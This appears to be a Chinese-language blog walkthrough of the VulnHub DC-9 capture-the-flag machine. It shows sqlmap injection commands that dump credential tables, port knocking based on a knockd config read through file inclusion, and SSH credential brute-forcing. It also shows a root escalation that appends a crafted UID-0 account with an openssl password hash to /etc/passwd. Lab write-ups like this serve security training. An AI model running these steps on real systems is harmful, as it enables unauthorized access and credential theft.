Vulnhub-DC-9
环境
下载地址:DC: 9 ~ VulnHub
开始打靶
端口开放
访问页面,在search界面经过不断尝试确实存在注入
丢进sqlmap看看
1 | sqlmap -u "http://192.168.75.142/results.php" -data "search=1" --dbs |
1 | sqlmap -u "http://192.168.75.142/results.php" -data "search=1" -D users --tables |
1 | sqlmap -u "http://192.168.75.142/results.php" -data "search=1" -D users -T UserDetails --columns |
1 | sqlmap -u "http://192.168.75.142/results.php" -data "search=1" -D users -T UserDetails -C username,password --dump |
都是账号密码,然后去看看另一个库
1 | sqlmap -u "http://192.168.75.142/results.php/results.php" -data "search=1" -D Staff -tables |
出来两个表,这里选择先看Users表,中间不列出数据了
1 | sqlmap -u "http://192.168.75.142/results.php/results.php" -data "search=1" -D Staff -T Users -C Username,Password --dump |
然后去登录,最终在如下位置找到文件包含
在这里遇到一个新东西,以前没有碰到过
knockd服务:即敲门端口服务,该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,,使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性,它的默认配置文件是:/etc/knockd.conf
那么去访问这个文件
然后使用nc都敲一遍
然后使用nmap发现22端口打开
接着把刚刚爆出来的用户密码全部弄一个张表,最终爆出来下面几个用户
三个用户经查看啥都没用,但是在用户janitor得到一些列密码
加入到我们刚刚生成的密码中再爆一次,得到一个新用户
提权
我们执行sudo -l
看看
进入这个目录没啥发现,返回上两层发现一个test.py文件
最终发现它有着写入目录的功能
1 | #!/usr/bin/python |
通过向/etc/passwd中添加用户达到提权,并且密码需要加密
1 | openssl passwd -1 -salt admin1 123456 |
在Linux上执行,然后跳转到/opt/devstuff/dist/test目录下使用echo命令在/tmp目录下创建一个文件,文件名自定义就行,我使用user,
1 | echo 'admin:$1$admin1$kBcb8DdRJKeqQ2e6acZ0J0:0:0::/root:/bin/bash' >> /tmp/user |
创建完之后使用sudo命令执行user文件将/tmp/test1的内容写入到/etc/passwd文件中,然后使用sudo命令执行test文件将/tmp/user的内容写入到/etc/passwd文件中
1 | sudo ./test /tmp/passwd /etc/passwd |
然后切换账户提权成功
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Comment